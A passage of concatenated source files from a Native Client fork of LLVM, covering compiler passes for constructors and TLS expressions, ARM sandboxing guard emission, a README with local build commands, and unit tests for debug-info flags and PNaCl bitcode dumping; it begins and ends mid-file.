#include "llvm/Support/raw_ostream.h"
#include "llvm/Transforms/NaCl.h"
using namespace llvm;
namespace {
struct ExpandCtors : public ModulePass {
static char ID; // Pass identification, replacement for typeid
ExpandCtors() : ModulePass(ID) {
initializeExpandCtorsPass(*PassRegistry::getPassRegistry());
}
virtual bool runOnModule(Module &M);
};
}
char ExpandCtors::ID = 0;
INITIALIZE_PASS(ExpandCtors, "nacl-expand-ctors",
"Hook up constructor and destructor arrays to libc",
false, false)
static void setGlobalVariableValue(Module &M, const char *Name,
Constant *Value) {
if (GlobalVariable *Var = M.getNamedGlobal(Name)) {
if (Var->hasInitializer()) {
report_fatal_error(std::string("Variable ") + Name +
" already has an initializer");
}
Var->replaceAllUsesWith(ConstantExpr::getBitCast(Value, Var->getType()));
Var->eraseFromParent();
}
}
struct FuncArrayEntry {
uint64_t priority;
Constant *func;
};
static bool compareEntries(FuncArrayEntry Entry1, FuncArrayEntry Entry2) {
return Entry1.priority < Entry2.priority;
}
static void readFuncList(GlobalVariable *Array, std::vector<Constant*> *Funcs) {
if (!Array->hasInitializer())
return;
Constant *Init = Array->getInitializer();
ArrayType *Ty = dyn_cast<ArrayType>(Init->getType());
if (!Ty) {
errs() << "Initializer: " << *Array->getInitializer() << "\n";
report_fatal_error("ExpandCtors: Initializer is not of array type");
}
if (Ty->getNumElements() == 0)
return;
ConstantArray *InitList = dyn_cast<ConstantArray>(Init);
if (!InitList) {
errs() << "Initializer: " << *Array->getInitializer() << "\n";
report_fatal_error("ExpandCtors: Unexpected initializer ConstantExpr");
}
std::vector<FuncArrayEntry> FuncsToSort;
for (unsigned Index = 0; Index < InitList->getNumOperands(); ++Index) {
ConstantStruct *CS = cast<ConstantStruct>(InitList->getOperand(Index));
FuncArrayEntry Entry;
Entry.priority = cast<ConstantInt>(CS->getOperand(0))->getZExtValue();
Entry.func = CS->getOperand(1);
FuncsToSort.push_back(Entry);
}
std::sort(FuncsToSort.begin(), FuncsToSort.end(), compareEntries);
for (std::vector<FuncArrayEntry>::iterator Iter = FuncsToSort.begin();
Iter != FuncsToSort.end();
++Iter) {
Funcs->push_back(Iter->func);
}
}
static void defineFuncArray(Module &M, const char *LlvmArrayName,
const char *StartSymbol,
const char *EndSymbol) {
std::vector<Constant*> Funcs;
GlobalVariable *Array = M.getNamedGlobal(LlvmArrayName);
if (Array) {
readFuncList(Array, &Funcs);
// No code should be referencing global_ctors/global_dtors,
// because this symbol is internal to LLVM.
Array->eraseFromParent();
}
// Optimisation passes assume that global variables are non-empty and don't
// alias, which implies &__init_array_start != &__init_array_end but that's
// not true when the llvm.global_ctors or llvm.global_dtors are empty.
//
// C libraries (newlib and musl) use weak references to these variables, so we
// can leave them undefined (because we run GlobalCleanup after ExpandCtors).
if (Funcs.empty())
return;
Type *FuncTy = FunctionType::get(Type::getVoidTy(M.getContext()), false);
Type *FuncPtrTy = FuncTy->getPointerTo();
ArrayType *ArrayTy = ArrayType::get(FuncPtrTy, Funcs.size());
GlobalVariable *NewArray =
new GlobalVariable(M, ArrayTy, /* isConstant= */ true,
GlobalValue::InternalLinkage,
ConstantArray::get(ArrayTy, Funcs));
setGlobalVariableValue(M, StartSymbol, NewArray);
// We do this last so that LLVM gives NewArray the name
// "__{init,fini}_array_start" without adding any suffixes to
// disambiguate from the original GlobalVariable's name. This is
// not essential -- it just makes the output easier to understand
// when looking at symbols for debugging.
NewArray->setName(StartSymbol);
// We replace "__{init,fini}_array_end" with the address of the end
// of NewArray. This removes the name "__{init,fini}_array_end"
// from the output, which is not ideal for debugging. Ideally we
// would convert "__{init,fini}_array_end" to being a GlobalAlias
// that points to the end of the array. However, unfortunately LLVM
// does not generate correct code when a GlobalAlias contains a
// GetElementPtr ConstantExpr.
Constant *NewArrayEnd =
ConstantExpr::getGetElementPtr(ArrayTy, NewArray,
ConstantInt::get(M.getContext(),
APInt(32, 1)));
setGlobalVariableValue(M, EndSymbol, NewArrayEnd);
}
bool ExpandCtors::runOnModule(Module &M) {
defineFuncArray(M, "llvm.global_ctors",
"__init_array_start", "__init_array_end");
defineFuncArray(M, "llvm.global_dtors",
"__fini_array_start", "__fini_array_end");
return true;
}
ModulePass *llvm::createExpandCtorsPass() {
return new ExpandCtors();
}
<file_sep>/README.txt
This has further been modified to ensure the LLVM-NACL does not break ABI compatibility with non NACL binaries when compiling for NACL
The clang front end that accompanies this is located here https://github.com/shravanrn/nacl-clang.git
Build both LLVM and Clang by following instructions from the below link but using the nacl-llvm.git and nacl-clang.git repos
https://clang.llvm.org/get_started.html
Some useful commands during development - Point the produces compiler to the correct folders for libc, the nacl assembler etc.
export LIBRARY_PATH=/home/shr/Code/nacl2/native_client/toolchain/linux_x86/nacl_x86_newlib/x86_64-nacl/lib/:/home/shr/Code/nacl2/native_client/toolchain/linux_x86/nacl_x86_newlib/lib/gcc/x86_64-nacl/4.4.3/:$LIBRARY_PATH
export COMPILER_PATH=/home/shr/Code/nacl2/native_client/toolchain/linux_x86/pnacl_newlib/bin/:/home/shr/Code/nacl2/native_client/toolchain/linux_x86/nacl_x86_newlib/x86_64-nacl/lib/:/home/shr/Code/nacl2/native_client/toolchain/linux_x86/nacl_x86_newlib/lib/gcc/x86_64-nacl/4.4.3/:$COMPILER_PATH
/home/shr/Code/pnacl_llvm_build/bin/clang -target "x86_64-nacl" -o ~/Desktop/naclbuild/testc_custom_64_newtest ~/Desktop/naclbuild/testc.c
NACL-LLVM
==========
This is the modified LLVM that supports the NACL backend.
Low Level Virtual Machine (LLVM)
================================
This directory and its subdirectories contain source code for LLVM,
a toolkit for the construction of highly optimized compilers,
optimizers, and runtime environments.
LLVM is open source software. You may freely distribute it under the terms of
the license agreement found in LICENSE.txt.
Please see the documentation provided in docs/ for further
assistance with LLVM, and in particular docs/GettingStarted.rst for getting
started with LLVM and docs/README.txt for an overview of LLVM's
documentation setup.
If you're writing a package for LLVM, see docs/Packaging.rst for our
suggestions.
<file_sep>/lib/Transforms/NaCl/ExpandTlsConstantExpr.cpp
//===- ExpandTlsConstantExpr.cpp - Convert ConstantExprs to Instructions---===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This pass is a helper used by the ExpandTls pass.
//
// LLVM treats the address of a TLS variable as a ConstantExpr. This
// is arguably a bug because the address of a TLS variable is *not* a
// constant: it varies between threads.
//
// See http://llvm.org/bugs/show_bug.cgi?id=14353
//
// This is also a problem for the ExpandTls pass, which wants to use
// replaceUsesOfWith() to replace each TLS variable with an
// Instruction sequence that calls @llvm.nacl.read.tp(). This doesn't
// work if the TLS variable is used inside other ConstantExprs,
// because ConstantExprs are interned and are not associated with any
// function, whereas each Instruction must be part of a function.
//
// To fix that problem, this pass converts ConstantExprs that
// reference TLS variables into Instructions.
//
// For example, this use of a 'ptrtoint' ConstantExpr:
//
// ret i32 ptrtoint (i32* @tls_var to i32)
//
// is converted into this 'ptrtoint' Instruction:
//
// %expanded = ptrtoint i32* @tls_var to i32
// ret i32 %expanded
//
//===----------------------------------------------------------------------===//
#include <vector>
#include "llvm/Pass.h"
#include "llvm/IR/Constants.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/Module.h"
#include "llvm/Transforms/NaCl.h"
using namespace llvm;
namespace {
class ExpandTlsConstantExpr : public ModulePass {
public:
static char ID; // Pass identification, replacement for typeid
ExpandTlsConstantExpr() : ModulePass(ID) {
initializeExpandTlsConstantExprPass(*PassRegistry::getPassRegistry());
}
virtual bool runOnModule(Module &M);
};
}
char ExpandTlsConstantExpr::ID = 0;
INITIALIZE_PASS(ExpandTlsConstantExpr, "nacl-expand-tls-constant-expr",
"Eliminate ConstantExpr references to TLS variables",
false, false)
// This removes ConstantExpr references to the given Constant.
static void expandConstExpr(Constant *Expr) {
// First, ensure that ConstantExpr references to Expr are converted
// to Instructions so that we can modify them.
for (Use &U : Expr->uses())
if (ConstantExpr *CE = dyn_cast<ConstantExpr>(U.getUser()))
expandConstExpr(CE);
Expr->removeDeadConstantUsers();
if (ConstantExpr *CE = dyn_cast<ConstantExpr>(Expr)) {
while (Expr->hasNUsesOrMore(1)) {
Use *U = &*Expr->use_begin();
Instruction *NewInst = CE->getAsInstruction();
NewInst->insertBefore(PhiSafeInsertPt(U));
NewInst->setName("expanded");
PhiSafeReplaceUses(U, NewInst);
}
}
}
bool ExpandTlsConstantExpr::runOnModule(Module &M) {
for (Module::alias_iterator Iter = M.alias_begin();
Iter != M.alias_end(); ) {
GlobalAlias *GA = Iter++;
if (GA->isThreadDependent()) {
GA->replaceAllUsesWith(GA->getAliasee());
GA->eraseFromParent();
}
}
for (Module::global_iterator Global = M.global_begin();
Global != M.global_end();
++Global) {
if (Global->isThreadLocal()) {
expandConstExpr(Global);
}
}
return true;
}
ModulePass *llvm::createExpandTlsConstantExprPass() {
return new ExpandTlsConstantExpr();
}
<file_sep>/lib/Target/ARM/MCTargetDesc/ARMMCNaCl.cpp
//=== ARMMCNaCl.cpp - Expansion of NaCl pseudo-instructions --*- C++ -*-=//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
//===----------------------------------------------------------------------===//
#define DEBUG_TYPE "arm-mc-nacl"
#include "ARMAddressingModes.h"
#include "MCTargetDesc/ARMBaseInfo.h"
#include "MCTargetDesc/ARMMCExpr.h"
#include "MCTargetDesc/ARMMCNaCl.h"
#include "MCTargetDesc/ARMMCTargetDesc.h"
#include "llvm/MC/MCInst.h"
#include "llvm/MC/MCStreamer.h"
#include "llvm/Support/CommandLine.h"
#include "llvm/Support/Debug.h"
using namespace llvm;
/// Two helper functions for emitting the actual guard instructions
static void EmitBICMask(const MCSubtargetInfo &STI, MCStreamer &Out,
unsigned Addr, int64_t Pred, unsigned Mask) {
// bic\Pred \Addr, \Addr, #Mask
MCInst BICInst;
const int32_t EncodedMask = ARM_AM::getSOImmVal(Mask);
assert(EncodedMask != -1);
BICInst.setOpcode(ARM::BICri);
BICInst.addOperand(MCOperand::CreateReg(Addr)); // rD
BICInst.addOperand(MCOperand::CreateReg(Addr)); // rS
BICInst.addOperand(MCOperand::CreateImm(EncodedMask)); // imm
BICInst.addOperand(MCOperand::CreateImm(Pred)); // predicate
BICInst.addOperand(MCOperand::CreateReg(ARM::CPSR)); // CPSR
BICInst.addOperand(MCOperand::CreateReg(0)); // flag out
Out.EmitInstruction(BICInst, STI);
}
static void EmitTST(const MCSubtargetInfo &STI, MCStreamer &Out, unsigned Reg) {
// tst \reg, #\MASK typically 0xc0000000
const int32_t Mask = ARM_AM::getSOImmVal(0xC0000000U);
assert(Mask != -1);
MCInst TSTInst;
TSTInst.setOpcode(ARM::TSTri);
TSTInst.addOperand(MCOperand::CreateReg(Reg)); // rS
TSTInst.addOperand(MCOperand::CreateImm(Mask)); // imm
TSTInst.addOperand(MCOperand::CreateImm((int64_t)ARMCC::AL)); // Always
TSTInst.addOperand(MCOperand::CreateImm(0)); // flag out
Out.EmitInstruction(TSTInst, STI);
}
// This is ONLY used for sandboxing stack changes.
// The reason why SFI_NOP_IF_AT_BUNDLE_END gets handled here is that
// it must ensure that the two instructions are in the same bundle.
// It just so happens that the SFI_NOP_IF_AT_BUNDLE_END is always
// emitted in conjunction with a SFI_DATA_MASK
//
static void EmitDataMask(const MCSubtargetInfo &STI, int I, MCInst Saved[],
MCStreamer &Out) {
assert(I == 3 && (ARM::SFI_NOP_IF_AT_BUNDLE_END == Saved[0].getOpcode()) &&
(ARM::SFI_DATA_MASK == Saved[2].getOpcode()) &&
"Unexpected SFI Pseudo while lowering");
unsigned Addr = Saved[2].getOperand(0).getReg();
int64_t Pred = Saved[2].getOperand(2).getImm();
assert((ARM::SP == Addr) && "Unexpected register at stack guard");
Out.EmitBundleLock(false);
Out.EmitInstruction(Saved[1], STI);
EmitBICMask(STI, Out, Addr, Pred, 0xC0000000);
Out.EmitBundleUnlock();
}
static void EmitDirectGuardCall(const MCSubtargetInfo &STI, int I,
MCInst Saved[], MCStreamer &Out) {
// sfi_call_preamble cond=
// sfi_nops_to_force_slot3
assert(I == 2 && (ARM::SFI_GUARD_CALL == Saved[0].getOpcode()) &&
"Unexpected SFI Pseudo while lowering SFI_GUARD_CALL");
Out.EmitBundleLock(true);
Out.EmitInstruction(Saved[1], STI);
Out.EmitBundleUnlock();
}
static void EmitIndirectGuardCall(const MCSubtargetInfo &STI, int I,
MCInst Saved[], MCStreamer &Out) {
// sfi_indirect_call_preamble link cond=
// sfi_nops_to_force_slot2
// sfi_code_mask \link \cond
assert(I == 2 && (ARM::SFI_GUARD_INDIRECT_CALL == Saved[0].getOpcode()) &&
"Unexpected SFI Pseudo while lowering SFI_GUARD_CALL");
unsigned Reg = Saved[0].getOperand(0).getReg();
int64_t Pred = Saved[0].getOperand(2).getImm();
Out.EmitBundleLock(true);
EmitBICMask(STI, Out, Reg, Pred, 0xC000000F);
Out.EmitInstruction(Saved[1], STI);
Out.EmitBundleUnlock();
}
static void EmitIndirectGuardJmp(const MCSubtargetInfo &STI, int I,
MCInst Saved[], MCStreamer &Out) {
// sfi_indirect_jump_preamble link cond=
// sfi_nop_if_at_bundle_end
// sfi_code_mask \link \cond
assert(I == 2 && (ARM::SFI_GUARD_INDIRECT_JMP == Saved[0].getOpcode()) &&
"Unexpected SFI Pseudo while lowering SFI_GUARD_CALL");
unsigned Reg = Saved[0].getOperand(0).getReg();
int64_t Pred = Saved[0].getOperand(2).getImm();
Out.EmitBundleLock(false);
EmitBICMask(STI, Out, Reg, Pred, 0xC000000F);
Out.EmitInstruction(Saved[1], STI);
Out.EmitBundleUnlock();
}
static void EmitGuardReturn(const MCSubtargetInfo &STI, int I, MCInst Saved[],
MCStreamer &Out) {
// sfi_return_preamble reg cond=
// sfi_nop_if_at_bundle_end
// sfi_code_mask \reg \cond
assert(I == 2 && (ARM::SFI_GUARD_RETURN == Saved[0].getOpcode()) &&
"Unexpected SFI Pseudo while lowering SFI_GUARD_RETURN");
int64_t Pred = Saved[0].getOperand(0).getImm();
Out.EmitBundleLock(false);
EmitBICMask(STI, Out, ARM::LR, Pred, 0xC000000F);
Out.EmitInstruction(Saved[1], STI);
Out.EmitBundleUnlock();
}
static void EmitGuardLoadOrStore(const MCSubtargetInfo &STI, int I,
MCInst Saved[], MCStreamer &Out) {
// sfi_store_preamble reg cond ---->
// sfi_nop_if_at_bundle_end
// sfi_data_mask \reg, \cond
assert(I == 2 && (ARM::SFI_GUARD_LOADSTORE == Saved[0].getOpcode()) &&
"Unexpected SFI Pseudo while lowering SFI_GUARD_RETURN");
unsigned Reg = Saved[0].getOperand(0).getReg();
int64_t Pred = Saved[0].getOperand(2).getImm();
Out.EmitBundleLock(false);
EmitBICMask(STI, Out, Reg, Pred, 0xC0000000);
Out.EmitInstruction(Saved[1], STI);
Out.EmitBundleUnlock();
}
static void EmitGuardLoadOrStoreTst(const MCSubtargetInfo &STI, int I,
MCInst Saved[], MCStreamer &Out) {
// sfi_cstore_preamble reg -->
// sfi_nop_if_at_bundle_end
// sfi_data_tst \reg
assert(I == 2 && (ARM::SFI_GUARD_LOADSTORE_TST == Saved[0].getOpcode()) &&
"Unexpected SFI Pseudo while lowering");
unsigned Reg = Saved[0].getOperand(0).getReg();
Out.EmitBundleLock(false);
EmitTST(STI, Out, Reg);
Out.EmitInstruction(Saved[1], STI);
Out.EmitBundleUnlock();
}
// This is ONLY used for loads into the stack pointer.
static void EmitGuardSpLoad(const MCSubtargetInfo &STI, int I, MCInst Saved[],
MCStreamer &Out) {
assert(I == 4 &&
(ARM::SFI_GUARD_SP_LOAD == Saved[0].getOpcode()) &&
(ARM::SFI_NOP_IF_AT_BUNDLE_END == Saved[1].getOpcode()) &&
(ARM::SFI_DATA_MASK == Saved[3].getOpcode()) &&
"Unexpected SFI Pseudo while lowering");
unsigned AddrReg = Saved[0].getOperand(0).getReg();
unsigned SpReg = Saved[3].getOperand(0).getReg();
int64_t Pred = Saved[3].getOperand(2).getImm();
assert((ARM::SP == SpReg) && "Unexpected register at stack guard");
Out.EmitBundleLock(false);
EmitBICMask(STI, Out, AddrReg, Pred, 0xC0000000);
Out.EmitInstruction(Saved[2], STI);
EmitBICMask(STI, Out, SpReg, Pred, 0xC0000000);
Out.EmitBundleUnlock();
}
namespace llvm {
const int ARMMCNaClSFIState::MaxSaved;
// CustomExpandInstNaClARM -
// If Inst is a NaCl pseudo instruction, emits the substitute
// expansion to the MCStreamer and returns true.
// Otherwise, returns false.
//
// NOTE: Each time this function calls Out.EmitInstruction(), it will be
// called again recursively to rewrite the new instruction being emitted.
// Care must be taken to ensure that this does not result in an infinite
// loop. Also, global state must be managed carefully so that it is
// consistent during recursive calls.
bool CustomExpandInstNaClARM(const MCSubtargetInfo &STI, const MCInst &Inst,
MCStreamer &Out, ARMMCNaClSFIState &State) {
// Logic:
// This is somewhat convoluted, but in the current model, the SFI
// guard pseudo instructions occur PRIOR to the actual instruction.
// So, the bundling/alignment operation has to refer to the FOLLOWING
// instructions.
//
// When a SFI pseudo is detected, it is saved. Then, the saved SFI
// pseudo and the very next instructions (their amount depending on the kind
// of the SFI pseudo) are used as arguments to the Emit*() functions in
// this file.
//
// Some state data is used to preserve state accross calls:
//
// Saved: the saved instructions (starting with the SFI_ pseudo).
// SavedCount: the amount of saved instructions required for the SFI pseudo
// that's being expanded.
// I: the index of the currently saved instruction - used to track
// where in Saved to insert the instruction and how many more
// remain.
//
// If we are emitting to .s, just emit all pseudo-instructions directly.
if (Out.hasRawTextSupport()) {
return false;
}
// Protect against recursive execution. If State.RecurseiveCall == true, it
// means we're already in the process of expanding a custom instruction, and
// we don't need to run recursively on anything generated by such an
// expansion.
if (State.RecursiveCall)
return false;
DEBUG(dbgs() << "CustomExpandInstNaClARM("; Inst.dump(); dbgs() << ")\n");
if ((State.I == 0) && (State.SaveCount == 0)) {
// Base state: no SFI guard identified yet and no saving started.
switch (Inst.getOpcode()) {
default:
// We don't handle non-SFI guards here
return false;
case ARM::SFI_NOP_IF_AT_BUNDLE_END:
// Note: SFI_NOP_IF_AT_BUNDLE_END is only emitted directly as part of
// a stack guard in conjunction with a SFI_DATA_MASK.
State.SaveCount = 3;
break;
case ARM::SFI_DATA_MASK:
llvm_unreachable(
"SFI_DATA_MASK found without preceding SFI_NOP_IF_AT_BUNDLE_END");
return false;
case ARM::SFI_GUARD_CALL:
case ARM::SFI_GUARD_INDIRECT_CALL:
case ARM::SFI_GUARD_INDIRECT_JMP:
case ARM::SFI_GUARD_RETURN:
case ARM::SFI_GUARD_LOADSTORE:
case ARM::SFI_GUARD_LOADSTORE_TST:
State.SaveCount = 2;
break;
case ARM::SFI_GUARD_SP_LOAD:
State.SaveCount = 4;
break;
}
}
// We're in "saving instructions" state
if (State.I < State.SaveCount) {
// This instruction has to be saved
assert(State.I < State.MaxSaved && "Trying to save too many instructions");
State.Saved[State.I++] = Inst;
if (State.I < State.SaveCount)
return true;
}
// We're in "saved enough instructions, time to emit" state
assert(State.I == State.SaveCount && State.SaveCount > 0 && "Bookeeping Error");
// When calling Emit* functions, do that with RecurseGuard set (the comment
// at the beginning of this function explains why)
State.RecursiveCall = true;
switch (State.Saved[0].getOpcode()) {
default:
break;
case ARM::SFI_NOP_IF_AT_BUNDLE_END:
EmitDataMask(STI, State.I, State.Saved, Out);
break;
case ARM::SFI_DATA_MASK:
llvm_unreachable("SFI_DATA_MASK can't start a SFI sequence");
break;
case ARM::SFI_GUARD_CALL:
EmitDirectGuardCall(STI, State.I, State.Saved, Out);
break;
case ARM::SFI_GUARD_INDIRECT_CALL:
EmitIndirectGuardCall(STI, State.I, State.Saved, Out);
break;
case ARM::SFI_GUARD_INDIRECT_JMP:
EmitIndirectGuardJmp(STI, State.I, State.Saved, Out);
break;
case ARM::SFI_GUARD_RETURN:
EmitGuardReturn(STI, State.I, State.Saved, Out);
break;
case ARM::SFI_GUARD_LOADSTORE:
EmitGuardLoadOrStore(STI, State.I, State.Saved, Out);
break;
case ARM::SFI_GUARD_LOADSTORE_TST:
EmitGuardLoadOrStoreTst(STI, State.I, State.Saved, Out);
break;
case ARM::SFI_GUARD_SP_LOAD:
EmitGuardSpLoad(STI, State.I, State.Saved, Out);
break;
}
assert(State.RecursiveCall && "Illegal Depth");
State.RecursiveCall = false;
// We're done expanding a SFI guard. Reset state vars.
State.SaveCount = 0;
State.I = 0;
return true;
}
} // namespace llvm
<file_sep>/lib/Bitcode/NaCl/Analysis/NaClCompressCodeDist.cpp
//===-- NaClCompressCodeDist.cpp ------------------------------------------===//
// Implements distribution maps for record codes for pnacl-bccompress.
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include "llvm/Bitcode/NaCl/NaClCompressCodeDist.h"
using namespace llvm;
NaClCompressCodeDistElement::~NaClCompressCodeDistElement() {}
NaClBitcodeDistElement *NaClCompressCodeDistElement::CreateElement(
NaClBitcodeDistValue Value) const {
return new NaClCompressCodeDistElement();
}
void NaClCompressCodeDistElement::AddRecord(const NaClBitcodeRecord &Record) {
NaClBitcodeCodeDistElement::AddRecord(Record);
SizeDist.AddRecord(Record);
}
const SmallVectorImpl<NaClBitcodeDist*> *
NaClCompressCodeDistElement::GetNestedDistributions() const {
return &NestedDists;
}
NaClCompressCodeDistElement NaClCompressCodeDistElement::Sentinel;
<file_sep>/unittests/IR/DebugInfoTest.cpp
//===- llvm/unittest/IR/DebugInfo.cpp - DebugInfo tests -------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include "llvm/IR/DebugInfoMetadata.h"
#include "gtest/gtest.h"
using namespace llvm;
namespace {
TEST(DebugNodeTest, getFlag) {
// Some valid flags.
EXPECT_EQ(DebugNode::FlagPublic, DebugNode::getFlag("DIFlagPublic"));
EXPECT_EQ(DebugNode::FlagProtected, DebugNode::getFlag("DIFlagProtected"));
EXPECT_EQ(DebugNode::FlagPrivate, DebugNode::getFlag("DIFlagPrivate"));
EXPECT_EQ(DebugNode::FlagVector, DebugNode::getFlag("DIFlagVector"));
EXPECT_EQ(DebugNode::FlagRValueReference,
DebugNode::getFlag("DIFlagRValueReference"));
// FlagAccessibility shouldn't work.
EXPECT_EQ(0u, DebugNode::getFlag("DIFlagAccessibility"));
// Some other invalid strings.
EXPECT_EQ(0u, DebugNode::getFlag("FlagVector"));
EXPECT_EQ(0u, DebugNode::getFlag("Vector"));
EXPECT_EQ(0u, DebugNode::getFlag("other things"));
EXPECT_EQ(0u, DebugNode::getFlag("DIFlagOther"));
}
TEST(DebugNodeTest, getFlagString) {
// Some valid flags.
EXPECT_EQ(StringRef("DIFlagPublic"),
DebugNode::getFlagString(DebugNode::FlagPublic));
EXPECT_EQ(StringRef("DIFlagProtected"),
DebugNode::getFlagString(DebugNode::FlagProtected));
EXPECT_EQ(StringRef("DIFlagPrivate"),
DebugNode::getFlagString(DebugNode::FlagPrivate));
EXPECT_EQ(StringRef("DIFlagVector"),
DebugNode::getFlagString(DebugNode::FlagVector));
EXPECT_EQ(StringRef("DIFlagRValueReference"),
DebugNode::getFlagString(DebugNode::FlagRValueReference));
// FlagAccessibility actually equals FlagPublic.
EXPECT_EQ(StringRef("DIFlagPublic"),
DebugNode::getFlagString(DebugNode::FlagAccessibility));
// Some other invalid flags.
EXPECT_EQ(StringRef(), DebugNode::getFlagString(DebugNode::FlagPublic |
DebugNode::FlagVector));
EXPECT_EQ(StringRef(), DebugNode::getFlagString(DebugNode::FlagFwdDecl |
DebugNode::FlagArtificial));
EXPECT_EQ(StringRef(), DebugNode::getFlagString(0xffff));
}
TEST(DebugNodeTest, splitFlags) {
// Some valid flags.
#define CHECK_SPLIT(FLAGS, VECTOR, REMAINDER) \
{ \
SmallVector<unsigned, 8> V; \
EXPECT_EQ(REMAINDER, DebugNode::splitFlags(FLAGS, V)); \
EXPECT_TRUE(makeArrayRef(V).equals(VECTOR)); \
}
CHECK_SPLIT(DebugNode::FlagPublic, {DebugNode::FlagPublic}, 0u);
CHECK_SPLIT(DebugNode::FlagProtected, {DebugNode::FlagProtected}, 0u);
CHECK_SPLIT(DebugNode::FlagPrivate, {DebugNode::FlagPrivate}, 0u);
CHECK_SPLIT(DebugNode::FlagVector, {DebugNode::FlagVector}, 0u);
CHECK_SPLIT(DebugNode::FlagRValueReference, {DebugNode::FlagRValueReference},
0u);
unsigned Flags[] = {DebugNode::FlagFwdDecl, DebugNode::FlagVector};
CHECK_SPLIT(DebugNode::FlagFwdDecl | DebugNode::FlagVector, Flags, 0u);
CHECK_SPLIT(0x100000u, {}, 0x100000u);
CHECK_SPLIT(0x100000u | DebugNode::FlagVector, {DebugNode::FlagVector},
0x100000u);
#undef CHECK_SPLIT
}
} // end namespace
<file_sep>/unittests/Bitcode/NaClObjDumpTypesTest.cpp
//===- llvm/unittest/Bitcode/NaClObjDumpTypesTest.cpp ---------------------===//
// Tests objdump stream for PNaCl bitcode.
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
// Tests record errors in the types block when dumping PNaCl bitcode.
#include "NaClMungeTest.h"
using namespace llvm;
namespace naclmungetest {
static const char ErrorPrefix[] = "Error";
// Tests what happens when a type refers to a not-yet defined type.
TEST(NaClObjDumpTypesTest, BadTypeReferences) {
const uint64_t BitcodeRecords[] = {
1, 65535, 8, 2, Terminator,
1, 65535, 17, 2, Terminator,
3, 1, 2, Terminator,
3, 7, 32, Terminator,
3, 3, Terminator,
0, 65534, Terminator,
0, 65534, Terminator
};
const uint64_t ReplaceIndex = 4;
// Show base input.
NaClObjDumpMunger Munger(ARRAY_TERM(BitcodeRecords));
EXPECT_TRUE(Munger.runTestForAssembly());
EXPECT_EQ(
"module { // BlockID = 8\n"
" types { // BlockID = 17\n"
" count 2;\n"
" @t0 = i32;\n"
" @t1 = float;\n"
" }\n"
"}\n",
Munger.getTestResults());
// Show what happens when defining: @t1 = <4 x @t1>
const uint64_t AddSelfReference[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 4, 1, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(AddSelfReference)));
// Note: Because @t1 is not defined until after this instruction,
// the initial lookup of @t1 in <4 x @t1> is not found. To error
// recover, type "void" is returned as the type of @t1.
EXPECT_EQ("Error(37:6): Can't find definition for @t1\n"
"Error(37:6): Vectors can only be defined on primitive types."
" Found void. Assuming i32 instead.\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = <4 x i32>;\n"
"Error(37:6): Can't find definition for @t1\n",
Munger.getLinesWithSubstring("@t1"));
// Show what happens when defining: @t1 = <4 x @t5>
const uint64_t AddForwardReference[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 12, 4, 5, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(AddForwardReference)));
// Note: Because @t5 is not defined, type "void" is used to error recover.
EXPECT_EQ(
"Error(37:6): Can't find definition for @t5\n"
"Error(37:6): Vectors can only be defined on primitive types."
" Found void. Assuming i32 instead.\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t1 = <4 x i32>;\n",
Munger.getLinesWithSubstring("@t1"));
}
// Tests handling of the count record in the types block.
TEST(NaClObjDumpTypesTest, TestCountRecord) {
const uint64_t BitcodeRecords[] = {
1, 65535, 8, 2, Terminator,
1, 65535, 17, 2, Terminator,
3, 1, 2, Terminator,
3, 7, 32, Terminator,
3, 3, Terminator,
0, 65534, Terminator,
0, 65534, Terminator
};
const uint64_t AddBeforeIndex = 5;
const uint64_t ReplaceIndex = 2;
NaClObjDumpMunger Munger(ARRAY_TERM(BitcodeRecords));
// Test case where count is correct.
EXPECT_TRUE(Munger.runTestForAssembly());
EXPECT_EQ(
"module { // BlockID = 8\n"
" types { // BlockID = 17\n"
" count 2;\n"
" @t0 = i32;\n"
" @t1 = float;\n"
" }\n"
"}\n",
Munger.getTestResults());
// Test case where more types are defined then specified by the
// count record.
const uint64_t AddDoubleType[] = {
AddBeforeIndex, NaClMungedBitcode::AddBefore, 3, 4, Terminator
};
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(AddDoubleType)));
EXPECT_EQ("Error(41:2): Expected 2 types but found: 3\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t0 = i32;\n"
" @t1 = float;\n"
" @t2 = double;\n",
Munger.getLinesWithSubstring("@t"));
// Test case where fewer types are defined then specified by the count
// record.
const uint64_t DeleteI32Type[] = { 3, NaClMungedBitcode::Remove };
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(DeleteI32Type)));
EXPECT_EQ("Error(36:2): Expected 2 types but found: 1\n",
Munger.getLinesWithPrefix(ErrorPrefix));
EXPECT_EQ(
" @t0 = float;\n",
Munger.getLinesWithSubstring("@t"));
// Test if we generate an error message if the count record isn't first.
const uint64_t AddI16BeforeCount[] = {
ReplaceIndex, NaClMungedBitcode::AddBefore, 3, 7, 16, Terminator };
EXPECT_FALSE(Munger.runTestForAssembly(ARRAY(AddI16BeforeCount)));
EXPECT_EQ(
"module { // BlockID = 8\n"
" types { // BlockID = 17\n"
" @t0 = i16;\n"
" count 2;\n"
"Error(34:4): Count record not first record of types block\n"
" @t1 = i32;\n"
" @t2 = float;\n"
" }\n"
"Error(42:0): Expected 2 types but found: 3\n"
"}\n",
Munger.getTestResults());
// Test if count record doesn't contain enough elements.
